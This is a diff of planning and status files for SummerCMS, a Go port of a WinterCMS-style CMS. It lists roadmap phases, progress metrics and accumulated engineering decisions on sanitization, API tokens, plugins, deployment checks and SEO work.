| 11. Jobs, realtime and search infrastructure | 8/8 | In Progress| |
|
||||
| 11.1. SummerCMS documentation for humans and AI agents | 7/7 | In Progress| |
|
||||
| 11.2. summercms.io Alpha 0.1 landing page on SummerCMS | 3/3 | In Progress| |
|
||||
| 9. Backend admin authentication and schema pipeline | 12/12 | Complete | 2026-10-01 |
|
||||
| 10. Admin Vue SPA | 5/5 | Complete | 2026-09-27 |
|
||||
| 10.1. Runtime admin extension point (INSERTED) | 4/4 | Complete | 2026-10-06 |
|
||||
| 10.2. Nest framework packages under modules and write run docs (INSERTED) | 2/2 | Complete | 2026-10-06 |
|
||||
| 11. Jobs, realtime and search infrastructure | 8/8 | Complete | 2026-10-06 |
|
||||
| 11.1. SummerCMS documentation for humans and AI agents | 7/7 | Complete | 2026-10-06 |
|
||||
| 11.2. summercms.io Alpha 0.1 landing page on SummerCMS | 3/3 | Complete | 2026-10-06 |
|
||||
| 12. Płytarium API — Collections and Albums | 5/5 | Complete | 2026-10-02 |
|
||||
| 13. Płytarium API — wishlist, notifications, CSV, credentials, public routes | 6/6 | In Progress| |
|
||||
| 14. Domain jobs and external integrations | 6/6 | In Progress| |
|
||||
| 14.1. OAuth identities and fonoteka me routes (INSERTED) | 2/2 | Complete | 2026-10-05 |
|
||||
| 14.2. Local Fonoteka frontend on local SummerCMS backend (INSERTED) | 0/TBD | Not started | - |
|
||||
| 14.3. One-command app scaffolding (INSERTED) | 4/4 | In Progress| |
|
||||
| 12.1. User plugin admin screens (INSERTED) | 5/5 | Complete | 2026-10-12 |
|
||||
| 12.2. Admin form fields: date, file upload, relation editing with deferred binding (INSERTED) | 5/5 | Complete | 2026-10-03 |
|
||||
| 13. Płytarium API — wishlist, notifications, CSV, credentials, public routes | 6/6 | Complete | 2026-10-12 |
|
||||
| 14. Domain jobs and external integrations | 6/6 | Complete | 2026-10-04 |
|
||||
| 14.1. OAuth identities and fonoteka me routes (INSERTED) | 2/2 | Complete | 2026-10-05 |
|
||||
| 14.2. Local Fonoteka frontend on local SummerCMS backend (INSERTED) | 4/4 | Complete | 2026-10-12 |
|
||||
| 14.2.1. Translate plugin (INSERTED) | 6/6 | Complete | 2026-10-06 |
|
||||
| 14.3. One-command app scaffolding (INSERTED) | 4/4 | Complete | 2026-10-08 |
|
||||
| 15. Journal plugin | 4/4 | Complete | 2026-10-06 |
|
||||
| 16. grzybyfunkcjonalne.pl on reusable blog views | 0/TBD | Not started | - |
|
||||
| 17. Blog companions | 0/TBD | Not started | - |
|
||||
| 18. Payment Gateway | 0/TBD | Not started | - |
|
||||
| 19. Chat and ChatChannels | 0/TBD | Not started | - |
|
||||
| 19.1. Chat satellites | 0/TBD | Not started | - |
|
||||
| 20. Płytarium cutover | 0/TBD | Not started | - |
|
||||
| 16. grzybyfunkcjonalne.pl on reusable blog views | 5/5 | Complete | 2026-10-09 |
|
||||
| 16.1. Journal admin urgent fixes (INSERTED) | 3/3 | Complete | 2026-10-10 |
|
||||
| 16.2. Plugin-provided field types and the Blog Editor formwidget (INSERTED) | 7/7 | Complete | 2026-10-10 |
|
||||
| 16.3. Backend admin personal API tokens with scopes (INSERTED) | 4/4 | Complete | 2026-10-12 |
|
||||
| 17. Blog companions | 6/6 | Complete | 2026-10-13 |
|
||||
| 18. Payment Gateway | 8/8 | Complete | 2026-10-14 |
|
||||
| 18.1. Payment Gateway Subscriptions | 9/9 | Complete | 2026-10-16 |
|
||||
| 19. Chat and ChatChannels | 7/7 | Complete | 2026-10-17 |
|
||||
| 19.1. Chat satellites | 6/6 | Complete | 2026-10-18 |
|
||||
| 19.3. Framework transport and infrastructure for WavePath | 6/6 | In Progress| |
|
||||
| 19.4. OIDC provider on wristband | 4/4 | Complete | 2026-10-20 |
|
||||
| 19.4.1. Early public demo on demo.summercms.io | 5/5 | In Progress| |
|
||||
| 19.5. Social login in sm-user-plugin | 5/5 | Complete | 2026-10-21 |
|
||||
| 19.6. Two-factor auth and device flow in sm-user-plugin | 4/4 | In Progress| |
|
||||
| 19.6.1. Backend Administrators screen (INSERTED) | 5/5 | Complete | 2026-10-22 |
|
||||
| 19.7. Generic MCP module | 9/9 | In Progress| |
|
||||
| 19.8. Console commands overhaul (INSERTED) | 6/6 | In Progress| |
|
||||
| 20. Demo instance with every shared plugin | 0/TBD | Not started | - |
|
||||
| 30. Płytarium cutover | 0/TBD | Not started | - |
|
||||
| 31. Chat polish against WavePath clients | 0/TBD | Not started | - |
|
||||
| 32. SEO foundation | 6/6 | In Progress| |
|
||||
| 33. SEO output, audit and content | 0/14 | Planned | - |
|
||||
|
||||
## Backlog
|
||||
|
||||
@@ -1104,7 +1766,7 @@ Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 →
|
||||
|
||||
**Goal:** Visitors to summercms.io subscribe for updates through the initial Go version of the Golem15 Newsletter plugin, which confirms each email by double opt-in. The signup widget is added to the Phase 11.2 landing page, and the site gains Polish alongside English.
|
||||
**Requirements**: TBD
|
||||
**Deferred:** 2026-10-02, formerly Phase 11.3. It is one more Golem15 plugin port; Journal is Phase 15 and Płytarium cutover is Phase 20. Before planning, re-check what 11.2 shipped since: the landing-page design has no signup slot, nginx on rome blocks `/backend` and non-GET methods, and rome has no mail relay configured.
|
||||
**Deferred:** 2026-10-02, formerly Phase 11.3. It is one more Golem15 plugin port; Journal is Phase 15 and Płytarium cutover is Phase 30 (Phase 20 when this was written). Before planning, re-check what 11.2 shipped since: the landing-page design has no signup slot, nginx on rome blocks `/backend` and non-GET methods, and rome has no mail relay configured.
|
||||
**Repos:** `sm-newsletter-plugin` (new, under `git.golem15.com/golem15/`, Go package `newsletter`), plus changes to the Phase 11.2 repos (`vue-summercmsio-app` for the widget and Polish locale, `sm-summercmsio-app` to wire the plugin). `summercms.go` changes only if a framework feature is missing.
|
||||
**Port source:** Golem15.Newsletter, `github.com/golem15com/wn-newsletter-plugin`, checked out at `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/newsletter`. The PHP plugin is work in progress. Its audience comes from registered users (it requires `Golem15.User`), and its only public routes are unsubscribe. It has no public subscriber model or signup widget, so this phase adds those in Go. The PHP original is not changed.
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
@@ -1,19 +1,20 @@
|
||||
---
|
||||
gsd_state_version: "1.0"
|
||||
msd_state_version: "1.0"
|
||||
milestone: v1.0
|
||||
current_phase: "14.3"
|
||||
current_phase_name: "One-command app scaffolding: summer new and summercms.io/new bootstrap script"
|
||||
current_phase: "19.7"
|
||||
current_phase_name: Generic MCP module (INSERTED)
|
||||
status: verifying
|
||||
stopped_at: Completed 14.3-04-PLAN.md
|
||||
last_updated: "2026-10-08T10:32:08.732Z"
|
||||
last_activity: 2026-10-08
|
||||
last_activity_desc: Phase 14.3 execution started
|
||||
state_head: 9dac7b8f67e4345c93e778b17c50ab6fd399d343
|
||||
stopped_at: Phase 32 context gathered
|
||||
last_updated: "2026-10-25T21:26:24.117Z"
|
||||
last_activity: 2026-10-23
|
||||
last_activity_desc: "Completed 19.7-08: plugin gap closure, E-1 logo, E-2 member token scopes; paused before 19.7-09"
|
||||
state_head: 9a76c7ec1c0c17e93e00086231af78648eb40c43
|
||||
progress:
|
||||
total_phases: 31
|
||||
completed_phases: 13
|
||||
total_plans: 143
|
||||
completed_plans: 139
|
||||
total_phases: 47
|
||||
completed_phases: 37
|
||||
total_plans: 242
|
||||
completed_plans: 238
|
||||
gsd_state_version: "1.0"
|
||||
milestone_name: milestone
|
||||
---
|
||||
|
||||
@@ -21,25 +22,25 @@ milestone_name: milestone
|
||||
|
||||
## Project Reference
|
||||
|
||||
See: .planning/PROJECT.md (updated 2026-09-16)
|
||||
See: .planning/PROJECT.md (updated 2026-10-22)
|
||||
|
||||
**Core value:** An existing WinterCMS-shaped app can be ported plugin by plugin to a single Go binary without its frontend noticing: the PHP version's API contract is the acceptance test.
|
||||
**Current focus:** Phase 14.3 — One-command app scaffolding: summer new and summercms.io/new bootstrap script
|
||||
**Current focus:** Phase 19.7 — Generic MCP module (INSERTED)
|
||||
|
||||
## Current Position
|
||||
|
||||
Phase: 14.3 (One-command app scaffolding: summer new and summercms.io/new bootstrap script) — EXECUTING
|
||||
Plan: 4 of 4
|
||||
Phase: 19.7 (Generic MCP module (INSERTED)) — EXECUTING
|
||||
Plan: 5 of 5
|
||||
Status: Phase complete — ready for verification
|
||||
Last activity: 2026-10-08 — Phase 14.3 execution started
|
||||
Last activity: 2026-10-23 — Phase 19.7 execution started
|
||||
|
||||
Progress: [██████████] 100%
|
||||
Progress: [████████░░] 82%
|
||||
|
||||
## Performance Metrics
|
||||
|
||||
**Velocity:**
|
||||
|
||||
- Total plans completed: 65
|
||||
- Total plans completed: 115
|
||||
- Average duration: 21 min
|
||||
- Total execution time: 104 min
|
||||
|
||||
@@ -58,6 +59,15 @@ Progress: [██████████] 100%
|
||||
| 10 | 5 | - | - |
|
||||
| 10.2 | 2 | - | - |
|
||||
| 14.1 | 2 | - | - |
|
||||
| 16.2 | 7 | - | - |
|
||||
| 16.3 | 4 | - | - |
|
||||
| 14.2 | 4 | - | - |
|
||||
| 18.1 | 9 | - | - |
|
||||
| 19 | 7 | - | - |
|
||||
| 19.1 | 6 | - | - |
|
||||
| 19.4 | 4 | - | - |
|
||||
| 19.5 | 5 | - | - |
|
||||
| 19.6.1 | 5 | - | - |
|
||||
|
||||
**Recent Trend:**
|
||||
|
||||
@@ -193,6 +203,81 @@ Progress: [██████████] 100%
|
||||
| Phase 14.3 P02 | 11 min | 3 tasks | 11 files |
|
||||
| Phase 14.3 P03 | 9min | 3 tasks | 13 files |
|
||||
| Phase 14.3 P04 | 19min | 3 tasks | 32 files |
|
||||
| Phase 16 P01 | 1h 34m | 4 tasks | 55 files |
|
||||
| Phase 16 P02 | 16 min | 3 tasks | 44 files |
|
||||
| Phase 16 P03 | 22 min | 3 tasks | 32 files |
|
||||
| Phase 16 P04 | 40min | 3 tasks | 10 files |
|
||||
| Phase 16 P05 | 19 min | 3 tasks | 27 files |
|
||||
| Phase 16.1 P01 | 11 min | 4 tasks | 20 files |
|
||||
| Phase 16.1 P02 | 1h 26m | 3 tasks | 4 files |
|
||||
| Phase 16.1 P03 | 12 min | 3 tasks | 8 files |
|
||||
| Phase 16.2 P01 | 34min | 4 tasks | 51 files |
|
||||
| Phase 16.2 P02 | 25min | 3 tasks | 24 files |
|
||||
| Phase 16.2 P03 | 13min | 3 tasks | 21 files |
|
||||
| Phase 16.2 P04 | 50 min | 3 tasks | 15 files |
|
||||
| Phase 16.2 P05 | 25 min | 3 tasks | 7 files |
|
||||
| Phase 16.2 P06 | 43min | 3 tasks | - files |
|
||||
| Phase 16.3 P01 | 95 | 4 tasks | 43 files |
|
||||
| Phase 16.3 P02 | 9 min | 3 tasks | 17 files |
|
||||
| Phase 16.3 P03 | 658 min | 4 tasks | 12 files |
|
||||
| Phase 16.3 P04 | 30 min | 3 tasks | 16 files |
|
||||
| Phase 14.2 P01 | 16 min | 3 tasks | 18 files |
|
||||
| Phase 14.2 P02 | 27min | 4 tasks | 7 files |
|
||||
| Phase 14.2 P03 | about 4h | 4 tasks | 23 files |
|
||||
| Phase 14.2 P04 | 60min | 3 tasks | 11 files |
|
||||
| Phase 17 P01 | 41 min | 4 tasks | 55 files |
|
||||
| Phase 17 P02 | 50min | 6 tasks | 44 files |
|
||||
| Phase 17 P03 | 38 min | 4 tasks | 53 files |
|
||||
| Phase 17 P04 | 32min | 5 tasks | 70 files |
|
||||
| Phase 17 P05 | 93min | 5 tasks | 103 files |
|
||||
| Phase 17 P06 | 53 min | 4 tasks | 50 files |
|
||||
| Phase 18 P01 | 43min | 4 tasks | 59 files |
|
||||
| Phase 18 P02 | 75min | 4 tasks | 84 files |
|
||||
| Phase 18 P03 | 45min | 3 tasks | 75 files |
|
||||
| Phase 18 P04 | 40 min | 3 tasks | 78 files |
|
||||
| Phase 18 P05 | 20min | 3 tasks | 31 files |
|
||||
| Phase 18 P06 | 70min | 6 tasks | 52 files |
|
||||
| Phase 18 P07 | 75 min | 5 tasks | 62 files |
|
||||
| Phase 18 P08 | 20min | 4 tasks | 7 files |
|
||||
| Phase 18.1 P01 | 31min | 5 tasks | 37 files |
|
||||
| Phase 18.1 P02 | 45min | 5 tasks | 30 files |
|
||||
| Phase 18.1 P03 | 21 min | 4 tasks | 27 files |
|
||||
| Phase 18.1 P04 | 22 min | 5 tasks | 36 files |
|
||||
| Phase 18.1 P05 | 20 min | 3 tasks | 20 files |
|
||||
| Phase 18.1 P06 | 50min | 5 tasks | 39 files |
|
||||
| Phase 19.3 P01 | 14 min | 2 tasks | 20 files |
|
||||
| Phase 19.3 P02 | 15min | 4 tasks | 11 files |
|
||||
| Phase 19.3 P03 | 10 min | 3 tasks | 20 files |
|
||||
| Phase 19.3 P04 | 60min | 5 tasks | 14 files |
|
||||
| Phase 19.3 P05 | 49min | 7 tasks | 38 files |
|
||||
| Phase 19.3 P06 | 40min | 6 tasks | 24 files |
|
||||
| Phase 18.1 P07 | 20 min | 3 tasks | 18 files |
|
||||
| Phase 18.1 P08 | 24 min | 4 tasks | 30 files |
|
||||
| Phase 18.1 P09 | 60min | 5 tasks | 27 files |
|
||||
| Phase 19 P01 | 80min | 3 tasks | 34 files |
|
||||
| Phase 19.1 P01 | 12min | 3 tasks | 37 files |
|
||||
| Phase 19.1 P19.1-03 | 7 min | 3 tasks | 32 files |
|
||||
| Phase 19.1-chat-satellites P19.1-04 | 11 | 4 tasks | 35 files |
|
||||
| Phase 19.1-chat-satellites P19.1-05 | 10min | 4 tasks | 37 files |
|
||||
| Phase 19.1 P19.1-02 | 9 min | 4 tasks | 36 files |
|
||||
| Phase 19.1 P19.1-06 | 16 | 3 tasks | 46 files |
|
||||
| Phase 19.4 P01 | 28 min | 4 tasks | 34 files |
|
||||
| Phase 19.4 P02 | 50min | 5 tasks | 54 files |
|
||||
| Phase 19.4 P03 | 71 min | 7 tasks | 61 files |
|
||||
| Phase 19.4 P04 | 65 min | 5 tasks | 42 files |
|
||||
| Phase 19.4.1 P01 | 70min | 4 tasks | 24 files |
|
||||
| Phase 19.4.1 P02 | ~2h45m | 7 tasks | 43 files |
|
||||
| Phase 19.4.1 P03 | ~1h50m | 8 tasks | 58 files |
|
||||
| Phase 19.4.1 P04 | 2h25m | 7 tasks | 85 files |
|
||||
| Phase 19.4.1 P05 | 70min | 7 tasks | 46 files |
|
||||
| Phase 19.8 P01 | 30 min | 3 tasks | 86 files |
|
||||
| Phase 19.8 P02 | 28 min | 3 tasks | 38 files |
|
||||
| Phase 19.8 P03 | 3h 3m (segment B) | 8 tasks | 120 files |
|
||||
| Phase 19.8 P05 | 40min | 7 tasks | 33 files |
|
||||
| Phase 19.6.1 P04 | 18 min | 3 tasks | 10 files |
|
||||
| Phase 19.6.1 P05 | 4 min | 2 tasks | 7 files |
|
||||
| Phase 19.7 P01 | 52 min | 5 tasks | 64 files |
|
||||
| Phase 19.7 P02 | 38 min | 4 tasks | 36 files |
|
||||
|
||||
## Accumulated Context
|
||||
|
||||
@@ -215,6 +300,23 @@ Progress: [██████████] 100%
|
||||
- Phase 20 edited: Płytarium production cutover moved here from Phase 15
|
||||
- Phase 14.2.1 inserted after Phase 14.2: sm-translate-plugin so Journal can keep translatable fields (URGENT)
|
||||
- Phase 14.3 inserted after Phase 14.2.1: One-command app scaffolding: summer new + summercms.io/new bootstrap script; ships as v0.1.13 (URGENT)
|
||||
- Phase 18.1 inserted after Phase 18: Payment Gateway Subscriptions (split from Phase 18 per 18-CONTEXT D-01)
|
||||
- Phase 16.1 inserted after Phase 16: Journal admin urgent fixes: relation search, list state, post form content and excerpt (found on UAT) (URGENT)
|
||||
- Phase 16.2 inserted after Phase 16.1: Plugin-provided field types and the Blog Editor formwidget
|
||||
- Phase 16.3 inserted after Phase 16: Backend admin personal API tokens with user-selected scopes (Journal agent writes as backend author); successor of Apparatus PersonalApiToken (URGENT)
|
||||
- Phase 19.2 inserted after Phase 19.1: Chat polish against WavePath clients (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.3 inserted after Phase 19.2: Framework transport and infrastructure for WavePath (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.4 inserted after Phase 19.3: OIDC provider on wristband (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.5 inserted after Phase 19.4: Social login in sm-user-plugin (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.6 inserted after Phase 19.5: Two-factor auth and device flow in sm-user-plugin (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.7 inserted after Phase 19.6: Generic MCP module: opt-in endpoint, plugin-declared tools, one connector per person (from /msd-explore 2026-10-17)
|
||||
- Phase 20 reordered: Roadmap reordered (/msd-explore 2026-10-18): new Phase 20 Demo instance with every shared plugin; Płytarium cutover moved 20 → 30; Chat polish against WavePath clients moved 19.2 → 31; 21–29 added as their goals firm up
|
||||
- Phase 19.4.1 inserted after Phase 19.4: Early public demo on demo.summercms.io: today's 16 shared plugins on rome, demo accounts, journal/presentations/quizzes/OIDC pages, backend by request; Phase 20 narrows to the chat family (URGENT)
|
||||
- Phase 32 added: Console commands overhaul: diary logging module, bonfire global flags and Artisan-grade help, sweep of all commands, tests
|
||||
- Phase 19.6.1 inserted after Phase 19.6: Backend Administrators screen: admins and roles CRUD in cabana (gap found while planning 19.7: no screen to manage backend users or set the frontend link) (URGENT)
|
||||
- Phase 32 added: SEO foundation: per-record and global SEO, structured data per page type, sitemap boost and HTML sitemap, pagination, redirects, robots.txt, canonical, meta robots, social tags, headings, hreflang, noindex policy, SSR for headless frontends
|
||||
- Phase 32 edited: narrowed to framework seams and sm-seo-plugin core (split decided 2026-10-25)
|
||||
- Phase 33 added: SEO output, audit and content; large phase, lean-planning exception
|
||||
|
||||
### Decisions
|
||||
|
||||
@@ -618,25 +720,275 @@ Recent decisions affecting current work:
|
||||
- [Phase 14.3]: Phase 14.3 gate is scripts/check-phase14.3.sh --all: one process per stage (unit, generator, bootstrap, terminal, acceptance, security), a named PASS line per required test, goldens unchanged by the run
|
||||
- [Phase 14.3]: summer new goldens live in internal/build/testdata/new and new-no-plugin and are rewritten only with go test -update; the golden app key is base64 of bytes 0x00..0x1f
|
||||
- [Phase 14.3]: Tests that commit in temp git repos disable detached auto maintenance (maintenance.auto=false, gc.auto=0) to avoid cleanup races with git 2.55
|
||||
- [Phase 16]: vue-journal-layer pages gate and slim API rows in useAsyncData transforms (toPostView/toListPost) so the SSR payload never carries unsafe HTML, raw content or translations
|
||||
- [Phase 16]: Journal SSR, sitemap and RSS fetches forward x-forwarded-for with the Nuxt peer address appended
|
||||
- [Phase 16]: vue-grzybyfunkcjonalne-app is a private repo checked over SSH; only vue-journal-layer must be public (D-04)
|
||||
- [Phase 16]: Journal author links use author.login (only key on post rows); the author page canonicalises to the endpoint slug
|
||||
- [Phase 16]: Under routeRules swr the site app records the visitor address in event.context (Nitro request hook) and overrides useJournalApi, because Nitro's cached handler strips request headers; the proper fix belongs in vue-journal-layer
|
||||
- [Phase 16]: Site page URLs answer errors with the HTML error page even for fetch-like requests (server/plugins/html-errors.ts); /api/, /_ and .json paths keep Nuxt JSON errors
|
||||
- [Phase 16]: Site rich-text copy stays in pl.json (i18n compilation.strictMessage false); contact data lives in app/data/contact.ts
|
||||
- [Phase 16]: Plugin commands in a summer-build host open and publish the database themselves (lookupDB via lagoon); the journal import runs as grzyby:import-posts because the generated main.go publishes no DB for plugin commands
|
||||
- [Phase 16]: migrate.sh imports from a copy of the PHP export with empty translations [] arrays normalized to {}; the importer fix is deferred to sm-journal-plugin
|
||||
- [Phase 16]: The URL rehearsal gives each URL its own X-Forwarded-For visitor (203.0.113.N) so ~90 SSR pages stay under Go's 120/min per-visitor journal limit
|
||||
- [Phase 16]: The staging nginx image location declares its own types map and matches extensions case-insensitively so images keep an image type under nosniff
|
||||
- [Phase 16]: 16-04: staging keeps the UAT basic-auth gate (off for loopback via nginx geo); smoke and curl checks run on the server
|
||||
- [Phase 16]: 16-04: staging host is uat.grzybyfunkcjonalne.pl; first-journal-post skipped in the import so Go serves the 62 live posts
|
||||
- [Phase 16]: 16-04: fileblob uploads bucket uses no_tmp_dir=true because /tmp on the server is tmpfs
|
||||
- [Phase 16]: No layer util needed a fix in 16-05, so vue-journal-layer gets no v0.1.1 tag; the app keeps v0.1.0
|
||||
- [Phase 16]: The malformed-GA-id SSR test asserts the id appears only as the JSON string in window.__NUXT__.config, since Nuxt serializes public runtime config
|
||||
- [Phase 16]: The grzyby console test harness creates an ICU pl-PL database via GRZYBY_TEST_ADMIN_DSN or testcontainers and fails, not skips, without one outside -short
|
||||
- [Phase 16.1]: Relation list search uses correlated EXISTS for every relation type (no outer JOIN); to-many sort uses a correlated string_agg subquery; names come from GORM's parsed relationship
|
||||
- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
|
||||
- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
|
||||
- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
|
||||
- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
|
||||
- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
|
||||
- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
|
||||
- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
|
||||
- [Phase 16.2]: pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the 16.2-01 checkpoint); plans 03, 05 and 06 use the ctx form
|
||||
- [Phase 16.2]: Plugin field type registry is built per Activate by compileFieldTypes and passed down the compile functions; existing compile functions stay nil-registry wrappers
|
||||
- [Phase 16.2]: Only pact.FormFieldError from a plugin field type's Decode or Upload is a 422; every other plugin error, Load included, is the opaque 500
|
||||
- [Phase 16.2]: Untouched plugin field values are skipped on update by canonical encoding/json comparison with the served value (stored value through Load), per field and locale
|
||||
- [Phase 16.2]: TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (packages approved)
|
||||
- [Phase 16.2]: Blog Editor bundle built through the Vite application pipeline (single ES entry, fixed names, exports kept) because library mode never minifies ES whitespace
|
||||
- [Phase 16.2]: Blog Editor link parsing, rendering and commands use isPolicyUrl (http, https, mailto, relative); on* attributes are never captured; external values load outside the undo history
|
||||
- [Phase 16.2]: Uncaptioned editor images are inline (<p><img></p>); captioned ones are figure with figureImage and figcaption
|
||||
- [Phase 16.2]: Plan 03: the Journal HTML policy needed exactly the four editor-output rules (figure data-embed/data-id, img alt, ol start); the corpus showed no fifth
|
||||
- [Phase 16.2]: Plan 03: editor uploads must sniff as a JPEG/PNG/GIF/WebP type matching the extension; uniqueMediaKey errors instead of overwriting when all numbered names are taken
|
||||
- [Phase 16.2]: Plan 03: admin saves of post content write the Decode output to content and content_html per written locale (FormBefore*/FormAfter* hooks), no goldmark; category 422 gate retired
|
||||
- [Phase 16.2]: 16.2-04: vue-journal-layer mirrors exactly the four Go editor-output rules; embeds expand only at the v-html sinks, after sanitizeJournalHtml
|
||||
- [Phase 16.2]: 16.2-04: vue-journal-layer v0.2.0 published (tag 042b65d0 -> 759e684e, human reply "push"); vue-grzybyfunkcjonalne-app main 465286a pins it; a defect gets v0.2.1
|
||||
- [Phase 16.2]: 16.2-05: summercms v0.1.18 released (human: release v0.1.18); a later defect gets v0.1.19
|
||||
- [Phase 16.2]: 16.2-05: UAT Nuxt rollback copy is nuxt/.output.prev; the site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart River anchor (supervisorctl tail fails on UAT)
|
||||
- [Phase 16.3]: D-03 literal: one method-allowed scope must match every required code; ScopeLimit keeps per-scope pattern slices — Locked CONTEXT reading; multi-code lists are stricter than a union
|
||||
- [Phase 16.3]: CLI uses party.Activated at Run time; cabana.RuntimeCommands(app) signature unchanged (Option A) — User-confirmed Option A so host apps only bump versions
|
||||
- [Phase 16.3]: ResolveBackend is Bearer-only (cookie-less JWT guard) — Plugin write routes have no CSRF; cookie auth must not drive them
|
||||
- [Phase 16.3]: 16.3-02: ApiTokensPanel + ApiTokenCreateDialog on /account; plaintext dialog-local only; shared ConfirmDialog for revoke and close-without-copy — UI-SPEC component split
|
||||
- [Phase 16.3]: 16.3-02: expired from API drives Expired chip; dates use CellValue local YYYY-MM-DD / YYYY-MM-DD HH:mm — Plan decisions; no new date format
|
||||
- [Phase 16.3]: Released summercms v0.1.21 after human resume release v0.1.21; Journal requires it; grzybyfunkcjonalne journal gitlink bumped; summercmsio not bumped
|
||||
- [Phase 16.3]: Journal API uses cabana.ResolveBackend with cover golem15.journal.*; ErrTokenScope maps to PHP Insufficient permissions
|
||||
- [Phase 16.3]: 16.3-04: full unit coverage + scripts/check-phase16.3.sh; postgres PASS on Docker host; nyquist_compliant true — Lean rule 3 phase-ending plan
|
||||
- [Phase 16.3]: Public Journal Show under optional-auth needs published_at in the past, not only published:true — TestJournalTokens fixture
|
||||
- [Phase 14.2]: storage.uploads.serve mounts attach.StaticHandlerPublic from surf (owner summercms.surf), resolving bucket and DB per request, with nosniff; default off
|
||||
- [Phase 14.2]: http.access_log logs one 'http request' record (method, pattern, status, duration_ms; path only when unmatched); default off
|
||||
- [Phase 14.2]: fonoteka console commands use commandDatabase/commandBucket: published handle, else open+publish; closers close what they opened
|
||||
- [Phase 14.2]: fonoteka:dev-seed allowed only for SUMMER_ENV local or dev; prints lines after commit; secret shown only on mint
|
||||
- [Phase 14.2]: dev-stack.sh runs Go processes with TMPDIR=tmp/dev-stack/go-tmp because fileblob renames uploads in from os.TempDir() and fails across devices when /tmp is a tmpfs (deployment fix deferred to Phase 20)
|
||||
- [Phase 14.2]: dev-stack.sh parses the env file as KEY=value data instead of sourcing it; pnpm dev gets only the NUXT_* values, not the SUMMER_* secrets
|
||||
- [Phase 14.2]: dev-stack.sh e2e requires a running stack and the guard before Playwright; e2e-verdict refuses skips, flaky, unexpected and zero-expected reports
|
||||
- [Phase 14.2]: Album model rules see nullable text columns as strings, so an empty format passes like PHP (14.2-03)
|
||||
- [Phase 14.2]: A 5xx written after the client cancelled the request is logged as 499 by the surf access log (14.2-03)
|
||||
- [Phase 14.2]: dev-seed creates seeded albums with artist rows and backfills them on rerun (14.2-03)
|
||||
- [Phase 14.2]: Item 11 PHP cross-check passed by classification: GD-undecodable fixture and missing PHP Centrifugo config, no contract difference (14.2-03)
|
||||
- [Phase 14.2]: The surf uploads route owns storage.uploads.public_path_prefix: BuildRouter fails when a plugin route sits at or under it
|
||||
- [Phase 14.2]: check-phase14.2.sh --contracts blocks on the phase's own contract test and only reports the whole pnpm test:contracts suite (missing-catalog.test.mjs predates the phase)
|
||||
- [Phase 14.2]: check-phase14.2.sh leaves TMPDIR to the caller: a TMPDIR inside a go.work tree makes internal/build scaffold tests edit that go.work
|
||||
- [Phase 17]: 17-01: menu item type registry is modules/signpost (party activates it before Boot); host URL overrides at menu_items.patterns (YAML only); list types use PatternFrom (one level) so a record type's host override reaches list children
|
||||
- [Phase 17]: 17-01: framework sanitizer modules/seaglass on bluemonday v1.0.27 (Journal policy without Blog Editor rules, plus tel:); D-10 Journal clause dropped, category content stays blogeditor
|
||||
- [Phase 17]: 17-01: dependent dropdown options for a repeater row are addressed as {field}=repeater.nested; sibling values reach DependentOptions as strings (nil when empty) on the route and the save recheck
|
||||
- [Phase 17]: 17-01: reorder saves write parent and sort columns via UpdateColumns (no model hooks); the partition is a belongsTo relation field of the form; stale sets answer 409 reorder_stale
|
||||
- [Phase 17]: 17-02: framework released as v0.1.23 (annotated, ae75a92 on e2a9529); plan 05 bumps plugin and host requires to it
|
||||
- [Phase 17]: 17-02: read-only richeditor HTML goes through a client display allowlist because stored values are not sanitized on read
|
||||
- [Phase 17]: 17-02: repeater rows use a plain aria-expanded disclosure instead of Reka Collapsible so 422 focus reaches collapsed rows
|
||||
- [Phase 17]: 17-03: Sitemap definition theme key is the constant default; imports always write it and report the PHP theme
|
||||
- [Phase 17]: 17-03: Journal URL placeholders follow PHP getHeadlessUrlParams order (id, slug, category, year, month, day); translated slugs use PHP fallback via one batched attribute read
|
||||
- [Phase 17]: 17-03: journal-category nesting returns the subtree per the plan truth; frozen PHP returned every category (deferred item for plan 05 parity)
|
||||
- [Phase 17]: 17-03: Host tier override lives in config/golem15.yaml under sitemap.priority_tiers and replaces the default list
|
||||
- [Phase 17]: 17-04: D-16/D-17 API shapes approved verbatim ("approve"); /_menu/api/v1/menus/{code} and /_faq/api/v1/faqs/{slug} are now one-way
|
||||
- [Phase 17]: 17-04: menu list vs single registry type decided by the resolved item having no URL (pact.ResolvedMenuItem contract); generated children follow stored children
|
||||
- [Phase 17]: 17-04: public API path params validated in handlers (not route Where) so every miss is the JSON 404
|
||||
- [Phase 17]: 17-04: FAQ answers and description re-sanitized with seaglass on API output; menu URLs pass AllowedURL on save and on output
|
||||
- [Phase 17]: 17-05: grzybyfunkcjonalne menu code main-menu; Winter menu types map by the built-in link->url and blog_categories->all-journal-categories, no --map; six orphan link entries dropped
|
||||
- [Phase 17]: 17-05: sitemap:import-winter --page-url copies a Winter cms-page item as a url item (blog=/blog on grzybyfunkcjonalne); the PHP site had no sitemap settings, plugin defaults apply
|
||||
- [Phase 17]: 17-05: UAT remote checks run on the server through nginx with curl --resolve to loopback; production deploy and summercms.go push not approved
|
||||
